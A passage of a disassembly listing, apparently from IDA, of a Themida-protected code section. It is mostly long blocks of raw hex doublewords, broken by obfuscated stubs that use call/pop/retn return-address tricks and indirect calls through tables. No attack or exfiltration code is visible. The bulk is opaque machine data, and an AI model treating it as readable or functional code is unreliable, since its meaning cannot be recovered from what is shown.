		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 3CC35040h, 70992D56h
		dd 8BC611BEh, 0F32119Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0BF6668FBh, 0BD837103h
		dd 60F2491h, 0AF850F03h, 6A000003h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 9BD6C355h
		dd 9D2378ECh, 60F2AADh,	8158D89h, 0BD83060Fh, 612BAC6h
		dd 77840F00h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 6AA2C356h, 26198D93h
		dd 0E9FFA733h, 12h, 0C45ADF4Eh,	0D4CE7398h, 0C705556Ah
		dd 121731A2h, 0B5FF3278h, 612BAC6h, 340DBD31h, 95FF060Fh
		dd 60F27FDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0DC35343h, 0BABAB58Bh, 6A0612h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0A2DD8DC3h
		dd 0F9CD81Fh, 187h, 810FFC00h, 3, 0C7F8B70Fh, 1000106h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0BD8BE6B2h, 60F17A9h, 1CECBF66h,	8929B350h
		dd 0DC8A2434h, 0BAC6B5FFh, 6A0612h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0FFA7FAC3h
		dd 0F130195h, 0C800F06h, 0E9000000h, 7,	0D7734F85h, 8BD2434Ah
		dd 12BABAB5h, 79958906h, 8B060F2Ah, 0F1D1585h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0A39C0363h, 4A1739A1h, 0C48689h, 0BD8B0000h,	60F1E01h
		dd 2C65958Bh, 0CE8060Fh, 27000000h, 0D3E278E2h,	1289C5FDh
		dd 8BFE304Ah, 0F16E59Dh, 0C2835B06h, 57006A04h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0E8AED3A5h
		dd 1DA98509h, 0BD8B060Fh, 60F2659h, 6A205089h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 66BFC352h, 92A0CB81h, 0CF14858Dh, 880F0612h,	6, 2C61B589h
		dd 8689060Fh, 0B8h, 0C830Fh, 830F0000h,	6, 26C59D8Bh, 6A060Fh
		dd 1850Fh, 0FFF80000h, 12BAC6B5h, 10E906h, 594D0000h, 881F927Fh
		dd 6A31BF9Fh, 7A279F80h, 95FFF6C0h, 60F30FDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 6EC35646h, 0B2CFC069h
		dd 0CF7F2C02h, 74B350FBh, 0B243489h, 0F22919Dh,	0C6B5FF06h
		dd 290612BAh, 0F07C59Dh, 0E595FF06h, 6A060F12h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 96DDC353h, 12E8h, 46807B00h,	1B65EA77h, 4FBEE627h, 5CB78012h
		dd 890717CCh
		dd 0F34AD85h, 0BF0F5B06h, 0A1BD83D9h, 60F27h, 1A840Fh
		dd 0CF810000h, 2F79323Bh, 50E6B396h, 3840Fh, 8B660000h
		dd 858996DEh, 60F1E75h,	0BAC6B5FFh, 830F0612h, 0
; ---------------------------------------------------------------------------
		jmp	loc_599043
; ---------------------------------------------------------------------------
		db 0BDh, 0B6h, 47h
		dd 3258CEAFh, 0F919B677h, 5031E521h
		db 8Ah,	0EDh
		db 0Fh
; ---------------------------------------------------------------------------


loc_599043:				; CODE XREF: Themida_:0059902Cj
		call	dword ptr [ebp+60F3415h]
		add	[ebp+60F3165h],	edx
		push	dword ptr [ebp+612BAC6h]
		push	0
		push	ebx
		call	sub_599060
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599060	proc near		; CODE XREF: Themida_:00599058p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_599060	endp

; ---------------------------------------------------------------------------
		das
		and	al, 99h
		mov	ebx, [ebp+60F21EDh]
		call	dword ptr [ebp+60F0AF5h]
		sub	[ebp+60F2C71h],	esi
		cmp	dword ptr [ebp+60F07A9h], 2
		jz	loc_5990CA
		adc	di, 0AF46h
		mov	eax, [ebp+60F2C8Dh]
		push	0
		push	edi
		call	sub_5990A8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5990A8	proc near		; CODE XREF: Themida_:005990A0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5990A8	endp

; ---------------------------------------------------------------------------
		dd 86CF80A8h, 239D9D33h, 0C6060Fh, 0F97FBF00h
		db 0CEh, 16h
; ---------------------------------------------------------------------------


loc_5990CA:				; CODE XREF: Themida_:0059908Cj
		mov	dword ptr [ebp+60F106Dh], 0
		sub	[ebp+60F32F1h],	edx
		jmp	loc_59845E
; ---------------------------------------------------------------------------
		movsx	edi, cx
		mov	eax, ecx
		push	0
		push	edx
		call	sub_5990EF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5990EF	proc near		; CODE XREF: Themida_:005990E7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5990EF	endp

; ---------------------------------------------------------------------------
		db 72h
; ---------------------------------------------------------------------------
		shr	esi, 25h
		jle	short near ptr loc_599118+2
		pusha
		mov	dh, al
		mov	[ebp+60F1341h],	ebx
		popa
		lea	eax, [ebp+60F1461h]
		push	0
		push	ecx


loc_599118:				; CODE XREF: Themida_:00599103j
		call	sub_599120
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599120	proc near		; CODE XREF: Themida_:loc_599118p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_599120	endp

; ---------------------------------------------------------------------------
		dd 0F9E8DC69h, 90416102h, 0D50BBB66h, 0BD8B9050h, 60F26C5h
		dd 9D8B006Ah, 60F187Dh,	0BE8006Ah, 0F0000000h, 0F29FA527h
		dd 3F6E595Ah, 0F3815978h, 141FA8ABh, 0C99D895Bh, 8D060F18h
		dd 13E42F85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 97F28A5Fh, 85A605EAh, 4FD7815Bh
		dd 510464DBh, 835FD98Bh, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 28AAC1C3h, 0A325E51Dh
		dd 0BB662FF8h, 0B70F70D2h, 0EABF90FEh, 50723594h, 6AF590h
		dd 17C1BD8Bh, 6A060Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 5FC35545h, 0C3AAAA7Bh, 0E99D8BA3h, 0FF060F10h
		dd 0F348D95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 73A1DDB2h, 8BE67581h, 0F2E559Dh
		dd 6820F06h, 89000000h,	0F261195h, 5E8D8D06h, 6A061298h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0DC11C357h, 0E641CDF0h, 0FD1FFA0h, 0BD83FEB7h
		dd 60F21ADh, 7E850F01h,	0F000000h, 8B66D9B7h, 6A026AF9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 4B81C357h, 50503CF6h, 0C4BF6652h,	0B7310F2Ch
		dd 89585A0Bh, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0A665D7C3h, 0B981CF65h, 0BE9h, 0CB17F000h
		dd 75ADB00Dh, 40C57A9Ah, 30FD95FFh, 830F060Fh, 8, 0E9BD8B57h
		dd 5B060F32h, 0EBDE9F9h, 0E80000h, 5D000000h, 0E439ED81h
		dd 0D7810613h, 2F685C95h, 47858DF5h, 6A061288h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8ABDC356h, 0E99D89D9h, 90060F33h, 0F505F57h,	28Fh, 90FA8B00h
		dd 48DCBF66h, 35FF64h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0A45BC355h
		dd 80B235B4h, 378FBF66h, 1851BD8Bh, 8964060Fh, 25h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 1B1DEE89h, 0FEB70FF9h, 245985FFh, 8166060Fh,	299135F3h
		dd 0F054185h, 6AFF6A06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0FF72C353h,	0F2EEDB5h
		dd 0DE906h, 3ACF0000h, 0E4AA5541h, 0EC84973Ch, 0FF73DBB3h
		dd 0F145595h, 170E906h,	9E90000h, 2000000h, 0CA961A2Eh
		dd 0ECB80B6Ah, 526000B0h, 0BE8h, 1EEBF700h, 0EEB9D738h
		dd 5325150Dh, 0BCB0585Bh, 8970E661h, 0F1DF1B5h,	0E0BF6606h
		dd 5671E414h, 2828BF66h, 0F613C5Bh, 12D83h, 38C0F00h, 0F000000h
		dd 0B60FD8B7h, 14E8C8h,	15F50000h, 0FD1DB01Dh, 0DFEA313Fh
		dd 33202BC6h, 4A11FA79h, 0B70FA47Dh, 6BA5BDAh, 66000000h
		dd 897D5BBFh, 0F220185h, 0B7C18B06h, 4E8C1A3h, 1513BF66h
		dd 10E9h, 8F969900h, 34D03213h,	0EE44DA86h, 0C135BD32h
		dd 0E2F766CFh, 4BF5DF81h, 0C82B42DAh, 87CF8166h, 0FD18B53h
		dd 168Ch, 11E900h, 26530000h, 0EEE97245h, 22F619BDh, 341CE73Bh
		dd 0E9866272h, 0A2h, 4858Bh, 0BD290000h, 60F1935h, 0E907C083h
		dd 13h,	69DE476Fh, 119A9250h, 0D4843FEAh, 56757118h, 8319FC34h
		dd 0CF8000C0h, 0FD03BA3h, 2383h, 67E9FC00h, 0E8000000h
		dd 11h,	0A15AAA0Bh, 9AA7A8D2h, 54B91D14h, 80BD1F2Dh, 98D2968h
		dd 5F060F30h, 0FFFF8D8Bh, 9D8BFFFFh, 60F125Dh, 1A2D9D8Bh
		dd 0E183060Fh, 2F840F01h, 29000000h, 0F016995h,	0FFA58306h
		dd 0FEFFFFFFh, 325DBD89h, 6CBF060Fh, 896A109Ah,	495h, 0E5BD8B00h
		dd 89060F22h, 0F01E99Dh, 0E906h, 0B58D0000h, 6136372h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 76C35242h
		dd 7306ED4Bh, 294D9D8Bh, 6A060Fh, 11919D8Bh, 95FF060Fh
		dd 60F3451h, 26519D89h,	0B589060Fh, 60F236Dh, 0FC3B9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0CFFE21h, 0B9BD8B7Bh, 83060F14h,	6AFCE1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 16051AC3h, 0EF93AC5Dh, 6AFC93h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 8D4911C3h, 0B7C02B67h
		dd 0BA82h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 167447C3h, 21F815AEh, 0CE8B6h, 6AED0000h
		dd 0B4AC1034h, 0F96191Dh, 0CF8110E2h, 644F14A8h, 0C233AD5Bh
		dd 0D003E8D1h, 7504E983h, 0FB8B60F4h, 2EC19509h, 8961060Fh
		dd 0F27B595h, 880D06h, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 1F71C2C3h, 70556791h
		dd 13E98C3Ah, 0E5000000h, 0A14268E8h, 0B942106Ah, 851FC5E3h
		dd 0C4AC008Ah, 0EB81BEFAh, 464D906Bh, 10E9h, 33DD6400h
		dd 80247884h, 0D18789h,	0F2F15DEDh, 65958BACh, 0E9060F2Ch
		dd 5, 0D32FF96Fh, 0C18D8B18h, 29060F07h, 0F2AB59Dh, 0C28B5006h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 3158188Bh, 0F0C998Dh
		dd 598D0906h, 83060F16h, 0F2AD5BDh, 840F0006h, 5Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 45C35141h, 599F121Ch
		dd 0FAF9B079h, 0B8h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 8B10AB98h, 0F00699Dh
		dd 0F5BB6606h, 0A78D8D4Bh, 31060F4Ch, 0F26658Dh, 83E1FF06h
		dd 0F2491BDh, 840F0006h, 53Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 5FC35040h, 5D1B0B2Bh, 12E91Fh
		dd 99C60000h, 0CD00F1DBh, 0DFD28ED1h, 0B82FDFEh, 0FFA27D10h
		dd 0EF75BB66h, 2491BD83h, 0F01060Fh, 50D84h, 9D896000h
		dd 60F2A31h, 61D6B70Fh,	2491BD83h, 0F03060Fh, 4BF86h, 0EDBD8B00h
		dd 60060F23h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	0F4C35747h, 1EFF9E2Ah, 66D98C66h, 0E180FA8Bh, 0B5896004h
		dd 60F3149h, 325D9D8Bh,	0A61060Fh, 7E840FC9h, 0F000001h
		dd 685h, 659D0B00h, 0F060F09h, 68Fh, 158D8900h,	8B060F00h
		dd 0F2DA985h, 9D23F506h, 60F27A5h, 19AD8533h, 6A060Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 80D107C3h, 6C7F933Ch, 0DA8B6652h, 50D88B90h,	12E8h
		dd 0B13B4400h, 3188D11Fh, 0B81E6BFDh, 28A9EF89h, 5281C292h
		dd 6F5BBB66h, 6A905F5Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0B32EC351h,	0AC66D37Dh
		dd 42DB8166h, 6A006A9Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0F779C355h,	0BAA2C674h
		dd 8CBF6614h, 0D14C68A8h, 52502CCFh, 0EE860h, 58B90000h
		dd 7F3ED737h, 69FEB321h, 0C25789B0h, 310F615Bh,	5ADE8B66h
		dd 24348158h, 2CD0D2B3h, 0D99D0B60h, 61060F28h,	34C995FFh
		dd 6A060Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 335E7C3h,	0E1B96660h, 0D08B6660h,	0C6858961h
		dd 0BB0612BAh, 4C5E09CDh, 21799501h, 90E9060Fh,	6A000002h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0A700C353h, 0D26B51A2h, 0F6816660h, 8957A604h
		dd 0F31899Dh, 0E9615E06h, 11h, 0AA54B0DEh, 0FBF9E3CDh
		dd 1F62B562h, 0BA9D0498h, 0BE858BE5h, 6A0612BAh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0BE72C351h, 0AA845523h, 0F1B585Dh, 68Eh, 19953100h
		dd 1060F1Dh, 0F330DBDh,	0DDBD8B06h, 0C7060F2Bh,	1800h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 6055B9FCh, 2EE58D33h, 858B060Fh,	60F2135h
		dd 0C2B58B61h, 6A0612BAh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0F551C351h,	8BD71F07h
		dd 0F2FA985h, 0C7F38006h, 1B31BD2Bh, 689060Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0BFC35141h, 25398A4h
		dd 61C74A43h, 97A9CBBh,	4D9D8908h, 8B060F1Bh, 0F2DA985h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0CDC6D70h, 0DE922h, 4AF80000h, 39D258EEh
		dd 9DB663A2h, 899AEF64h, 6A0446h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 5FEAB1C3h, 6656D381h
		dd 60963702h, 50C88B66h, 8A0Fh,	61590000h, 7E96050h, 0EB000000h
		dd 0EC0F404Bh, 52501C8Ch, 310FF78Bh, 585A5E56h,	6A9661h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 1739A1C3h, 132A834Ah, 0BBEAF73Fh, 56C51921h,	0BABEB5FFh
		dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 981686C3h, 331C7445h, 18D0Fh, 68F50000h
		dd 139A3A6Dh, 0EC5B63BBh, 24348143h, 13853992h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0DEC35646h, 6EFF2EA1h
		dd 3D51BCC5h, 11E980h, 0C4F50000h, 29C8A86Dh, 122F4F2h
		dd 37200F44h, 8D19812Fh, 12BAC685h, 909EB706h, 3EFABF66h
		dd 8B665150h, 29905BFEh, 0F0D5D95h, 0C995FF06h,	6A060F34h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 95D8C357h, 55B53193h, 61060F08h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 1DC35646h, 91EF80C0h
		dd 1165BD8Bh, 85C7060Fh, 60F2491h, 3, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 2AC35747h, 9D8BF718h, 60F1E79h
		dd 0BAC6BD83h, 0F000612h, 4F84h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 8166A921h
		dd 0E96E74CFh, 43h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 67C35141h, 6820Fh, 0EB810000h, 54B88890h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 2C98C351h, 0DDF5872Dh, 11659589h,	12E8060Fh
		dd 81000000h, 0FF06E11Fh, 0D31B8F6h, 755002AEh,	0F6CE65EFh
		dd 68C0FF9h, 33000000h,	0F27E19Dh, 6A5B06h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 54897FC3h
		dd 33B96057h, 0E957CE18h, 0Fh, 37A17998h, 3A43B276h, 2E21409Dh
		dd 613E517Fh, 91BD835Fh, 3060F24h, 3ED850Fh, 0C7810000h
		dd 2C117C29h, 0BAC6BD83h, 0F000612h, 3DA84h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0E97B2A9Bh, 0Fh, 407533DCh, 4EC84789h, 870A0B2Ch, 0FF344558h
		dd 12BAC6B5h, 0FFDE8A06h, 0F27FD95h, 22CB8106h,	8B03D156h
		dd 12BABAB5h, 0A6F6BB06h, 6C74BE7h, 10001h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 14C35646h, 60535750h
		dd 2C32FABFh, 0CE816649h, 966187CBh, 46B96660h,	61F38BFBh
		dd 0BE850h, 22450000h, 0EA040FE8h, 3BF9A3B4h, 0FB8B6614h
		dd 8B66965Bh, 0C6B5FFFEh, 6A0612BAh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E9C0C353h
		dd 0Eh,	52F60973h, 8774429h, 0AD56BCD4h, 95FF83CBh, 60F1301h
		dd 2B35BD8Bh, 0B58B060Fh, 612BABAh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0FC35242h, 0C9B8DE74h, 858B8847h
		dd 60F1D15h, 8689FE8Bh,	0C4h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0AAC35545h,	26A99D8Bh, 0BBBB060Fh
		dd 8B603BD1h, 0F2C6595h, 0B1BD2906h, 83060F19h,	953104C2h
		dd 60F1D7Dh, 0E9205089h, 12h, 0C202A0F2h, 17B2E211h, 0F5FF1B9Dh
		dd 0F7488F45h, 0FC604F7Dh, 23099D8Bh, 8D61060Fh, 12CF1485h
		dd 0AADB8106h, 893A3CF2h, 0B886h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 73436134h
		dd 6A630Bh, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Dh,	10C35646h, 45245BBDh, 3A960A98h, 8B66F8F2h, 0C6B5FFF8h
		dd 0F0612BAh, 95FFFABFh, 60F30FDh, 6E8h, 21BD8600h, 8B6EC901h
		dd 0F1CA59Dh, 0F965B06h, 2B84h,	0BE86000h, 87000000h, 927A4964h
		dd 0CC05380Ch, 0E8593FCEh, 12h,	4F2B03C0h, 7BF30539h, 0CFDEF5DEh
		dd 7ACE21E0h, 615A9DD1h, 0AE850h, 0D0310000h, 0F25D34FDh
		dd 0F0035780h, 965BF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 1FC35343h, 0E60716AFh, 0D837C39Eh, 2CE78044h
		dd 0BAC6B5FFh, 6A0612h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0F75CF0C3h, 66A71181h, 0FF55C9BFh
		dd 0F12E595h, 9E806h, 0B8C10000h, 0A5ABEB52h, 0E9BA4C5Bh
		dd 0Eh,	204D80C8h, 96B57EC5h, 0A82E8053h, 835FACF3h, 0F27A1BDh
		dd 840F0006h, 15h, 4F63F781h, 60507F1Bh, 8A53D78Bh, 89615BDAh
		dd 0BF0F2434h, 0C6B5FFFBh, 6A0612BAh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 632FC352h
		dd 983F4EEDh, 95FFF88Bh, 60F3415h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0E8C35343h,	6A2A8864h, 0B13023EBh
		dd 830F6066h, 1, 699D89FCh, 61060F1Ah, 0BAC6B5FFh, 0DE8B0612h
		dd 95FFD88Bh, 60F0AF5h,	0DE8h, 40E53600h, 0EA9F4D99h, 2A9569DDh
		dd 0BD8B96D5h, 60F12C9h, 0A9BD835Bh, 2060F07h, 55840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0A761F0C3h, 4063D40Dh, 858BCF37h
		dd 60F2C8Dh, 0C6DEBF0Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0EF26CDC3h, 81146E4Ch
		dd 0C7208290h, 0F106D85h, 6, 2D958900h,	0E9060F12h, 0FFFFF231h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0C5C35747h
		dd 0D30C1BACh, 0C18BE4E7h, 0AE9h, 0CE65EF00h, 0EA90F9F6h
		dd 8DC9C848h, 0F146185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 11E862FCh, 0F6000000h
		dd 0D8FB03Fh, 58F1A3ACh, 737E5B7Fh, 0B5D6F54h, 187D9D8Bh
		dd 905F060Fh, 0AE8h, 0ED369000h, 0FF6F8603h, 66A91FF9h
		dd 5F793FBFh, 9007B750h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 17h, 2CC35545h, 8BD6B5BEh,	0F2809BDh, 66006A06h
		dd 6AF88Bh, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ch,	74C35242h, 28F364A1h, 17EEE3CCh, 0F501858Dh, 0BF0F0613h
		dd 5C083DEh, 19F18589h,	8166060Fh, 90D1E8C7h, 0FAB35250h
		dd 5250310Fh, 310F5250h, 310F585Ah, 585A585Ah, 905F5350h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 35C35747h
		dd 63540764h, 6AFFDF80h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0C10299EFh, 0E9FEBF0Fh
		dd 0Ch,	4ABE3BBBh, 0E4EFAF4h, 217E9903h, 0D88B006Ah, 348D95FFh
		dd 6A060Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0C8D92AC3h, 702BF620h, 8DF956B0h,	12985E8Dh
		dd 60D38006h, 83F8D1FFh, 0F21ADBDh, 850F0106h, 97h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 79C35343h, 0DE96383h
		dd 10000000h, 0F51CB6B0h, 6CF2B1E4h, 0ED8028B7h, 6A026Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 92F890C3h, 0BB2DE7B2h, 5944D20Eh, 175DBD8Bh,	6650060Fh
		dd 89C719BBh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0B42962C3h, 7CE6BFF8h, 95FF66A0h
		dd 60F30FDh, 21B96660h,	0E961F5BAh, 0CDDh, 0E8h, 0ED815D00h
		dd 613F50Bh, 92F5EB81h,	0DEBF3C07h, 8D438F3Ch, 12884785h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 19BD8B91h, 90060F1Eh, 8E9h, 8438800h, 0EA4E5EB0h
		dd 6A905066h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0BE00C351h, 8A23C21h, 35FF6499h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_59A453
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A453	proc near		; CODE XREF: Themida_:0059A44Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_59A453	endp

; ---------------------------------------------------------------------------
		db 2Ch
		dd 7192B104h, 0E886AF4Fh, 11h, 33970127h, 8EC57046h, 1DC0A7BEh
		dd 92EF8CCDh, 0CF8166AFh, 645B6357h, 2589h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0B9CA0FC3h, 9D2DF381h, 85FF4815h, 60F2459h, 0DE9h, 6BBAE300h
		dd 6F31ACDh, 0AD381A9h,	0FF6AA6DFh, 5DE6CB81h, 0B5FF43A6h
		dd 60F18D5h, 95FFF98Ah,	60F1455h, 12DE9h, 0EAC0BF00h, 0B01FF0h
		dd 286ABABFh, 2970E67Ah, 0F1009BDh, 0E7816606h,	71E47F52h
		dd 6800Fh, 0BD8B0000h, 60F00CDh, 2D9D8B57h, 5F060F0Bh
		dd 830F613Ch, 0F6h, 0AE9h, 32F19D00h, 0E4A40B56h, 817A6346h
		dd 0B46118C7h, 0C8B60F2Fh, 4EEF8166h, 6BA02h, 58BB0000h
		dd 8B03C970h, 0F8F380C1h, 0F04E8C1h, 0F766FABFh, 6870FE2h
		dd 8B000000h, 0F34C59Dh, 56C82B06h, 1411BD8Bh, 8B5B060Fh
		dd 0E9F98BD1h, 0A2h, 2801BD8Bh,	858B060Fh, 5F4C4C44h, 2885BD31h
		dd 8D29060Fh, 60F2EA1h,	0F07C083h, 0C083FEB7h, 0BDB52900h
		dd 0E8060F17h, 7, 6FEAA1C2h, 66CB2093h,	5FDFC9BBh, 830FD03Bh
		dd 26h,	161DB589h, 9589060Fh, 60F1E61h,	51E9h, 6046B300h
		dd 8E8h, 0D3149000h, 6E77FAAFh,	0B45FF90Dh, 8D8B618Bh
		dd 0FFFFFFFFh, 0E183D98Ah, 2B840F01h, 8B000000h, 0F316D9Dh
		dd 0FFA58306h, 0FEFFFFFFh, 1830Fh, 89F90000h, 4C4C4495h
		dd 6840F5Fh, 8B000000h,	0F16AD9Dh, 0E906h, 0B58D0000h
		dd 6137335h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	29C35242h, 6B48032Fh, 85B589BBh, 0BB060F15h, 298B46BCh
		dd 0B531006Ah, 60F3459h, 0BE9h,	6735B300h, 0B3A777F9h
